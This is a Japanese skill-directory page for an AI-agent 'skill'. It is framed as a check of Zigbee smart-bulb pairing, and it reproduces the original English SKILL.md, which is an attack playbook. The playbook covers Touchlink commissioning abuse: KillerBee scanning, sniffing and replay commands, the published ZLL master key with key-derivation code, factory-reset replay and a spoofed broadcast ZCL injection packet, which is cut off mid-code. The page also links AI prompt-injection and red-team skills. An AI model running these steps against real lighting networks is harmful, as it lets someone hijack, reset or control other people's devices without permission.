zigbee-touchlink
できること
このガイドは、近距離のペアリング機能を使うスマート電球などのZigbee Light Link機器のセキュリティ確認を扱います。自社製品を確認するスマート照明メーカーとテスター向けです。
使う場面
- ✓スマート照明製品がTouchlinkを使っており、そのペアリング保護を確認する必要があるとき。
- ✓近くの機器が電球をリセットしたり乗っ取ったりできないかを確認したいとき。
- ✓許可されたテストで、Touchlinkのコマンドがどの程度の距離まで送れるかを確認する必要があるとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/zigbee-touchlink/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“私たちのスマート電球はZigbee Touchlinkを使っています。近くの機器がそれらをリセットしたり乗っ取ったりできないか確認してください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントはペアリングの鍵の扱いを確認し、管理された環境で、想定された範囲外からのコマンドが受け入れられるかをテストします。結果を報告します。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
Zigbee Touchlink Commissioning Abuse
Zigbee Light Link (ZLL) defines a Touchlink commissioning mechanism intended for close-proximity pairing (≤20 cm). The procedure relies on a well-known, publicly documented transport key (ZLL Master Key published in the ZigBee Light Link spec). In practice it works at distances of several metres with a directional antenna, allowing an attacker to steal devices off an existing coordinator, factory-reset smart bulbs, or inject ZCL commands without joining the network.
Prerequisites
- Hardware: Sonoff Zigbee 3.0 Dongle-E (CC2652P) with Z-Stack coordinator or sniffer firmware, OR RZUSB (AT86RF233), OR ApiMote v4 (CC2531 based). For highest sensitivity: HackRF + Zigbee SDR (gr-ieee802-15-4) — passive only.
- Firmware options:
- Sniffer: flash
CC2531_sniffer.hex/cc2652_sniffer.hex(TI) — Wireshark source, passive. - Attack: flash
coordinator_20230507.hexfrom Z-Stack 3.x — gives full TX.
- Sniffer: flash
- Software: KillerBee suite, Scapy with
scapy-radio, Python 3.x.
# Install KillerBee (Debian/Kali):
git clone https://github.com/riverloopsec/killerbee
cd killerbee && pip install .
# Confirm dongle detected:
zbid
Phase 1: Passive Channel Scan (zbstumbler)
# Scan all 802.15.4 channels (11-26) and enumerate PAN IDs, coordinators, devices.
zbstumbler -i /dev/ttyUSB0 | tee /tmp/zigbee_stumble.txt
# Capture all traffic on a discovered channel (e.g., channel 15) to pcap:
zbdump -i /dev/ttyUSB0 -c 15 -w /tmp/zigbee_ch15.pcap
# Live in Wireshark with the ZEP plugin:
wireshark -k -i lo # after running zbwireshark -i /dev/ttyUSB0 -c 15
Key fields to identify in pcap:
- Frame Control =
0x8841(Data, ZigBee, PAN compress) - Cluster ID =
0x1000(ZLL Commissioning cluster) - Command ID =
0x00(Scan Request),0x01(Scan Response),0x07(Touchlink Reset)
Phase 2: Decode the ZLL Well-Known Transport Key
The ZLL Master Key (published in Zigbee spec 11-0037-10) is:
ZLL Master Key: 9F 55 95 F1 02 57 C8 A9 65 73 AB 53 EE 2D 4C 0D
Derive per-device transport key:
from Crypto.Cipher import AES
ZLL_MASTER_KEY = bytes.fromhex("9F5595F10257C8A96573AB53EE2D4C0D")
def derive_transport_key(transaction_id: bytes, response_id: bytes) -> bytes:
"""
ZLL key derivation: AES-ECB of (transactionId XOR responseId XOR mask) with master key.
Per ZigBee Lighting Profile spec section 8.7.
"""
data = bytes(a ^ b for a, b in zip(transaction_id + response_id,
b'\x00' * 8 + b'\x00' * 8))
cipher = AES.new(ZLL_MASTER_KEY, AES.MODE_ECB)
return cipher.encrypt(data)
# transaction_id and response_id come from the Scan Request / Scan Response frames.
Phase 3: Touchlink Scan + Factory Reset
KillerBee includes zbtouchlink (or use the custom script below):
# Send Touchlink Scan Requests on all channels and listen for responses.
# A device that responds is susceptible to touchlink commands.
python3 - <<'EOF'
import time
from killerbee import KillerBee, PcapDumper
# Zigbee channel to target (scan 11-26 in production):
CHANNEL = 15
IFACE = "/dev/ttyUSB0"
kb = KillerBee(device=IFACE)
kb.set_channel(CHANNEL)
kb.sniffer_on()
print(f"[*] Listening on channel {CHANNEL}...")
while True:
frame = kb.pnext()
if frame and frame[0]:
data = frame[0]
# Check for ZLL Scan Response (Cluster 0x1000, Cmd 0x01)
if len(data) > 20:
print(f"[+] Frame: {data.hex()}")
EOF
Factory reset via zbreplay / custom ZLL Reset-to-factory-new:
# zbreplay replays a captured factory-reset frame at a target device.
# Capture a legitimate Touchlink reset first, then replay.
zbreplay -i /dev/ttyUSB0 -c 15 -f /tmp/touchlink_reset.pcap
# Or use zbfind to locate the device before resetting:
zbfind -i /dev/ttyUSB0 -c 15
Phase 4: ZCL Command Injection (no network join required)
ZCL commands to the Scenes/On-Off cluster can be sent as broadcast or unicast with the source address spoofed. No association to the PAN is required for broadcast delivery on 802.15.4.
from scapy.all import Dot15d4, Dot15d4Data, ZigbeeNWK, ZigbeeSecurityHeader, ZigbeeAppDataPayload
# scapy-zigbee or scapy-radio needed for ZigBee layers
# Toggle all On/Off devices in PAN (broadcast NWK dst 0xFFFF):
pkt = (
Dot15d4(fcf_frametype=1, fcf_srcaddrmode=2, fcf_destaddrmode=2,
dest_panid=0xDEAD, dest_addr=0xFFFF,
よくある質問
鍵が問題になるのはなぜですか?
ガイドによると、転送用の鍵は公開されて文書化されているため、ほとんど保護になりません。
想定された範囲はどのくらいですか?
ガイドによると、Touchlinkは約20センチメートルという、非常に近い距離でのペアリング用です。
スニファーは使われますか?
ガイドは、テスト環境で通信を観察するための受動的なキャプチャツールに触れています。
詳細
作者による元の説明
Touchlink commissioning abuse on Zigbee Light Link (ZLL) devices using the well-known ZLL transport key, ZCL command injection (toggle/move/step), network key extraction, and factory reset via touchlink. Toolchain covers KillerBee, zbstumbler, zbreplay, and Sonoff Zigbee 3.0 Dongle E running Wireshark live capture.
人気
- GitHubのスター
- 6.5k
- ランキング
- #14105
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。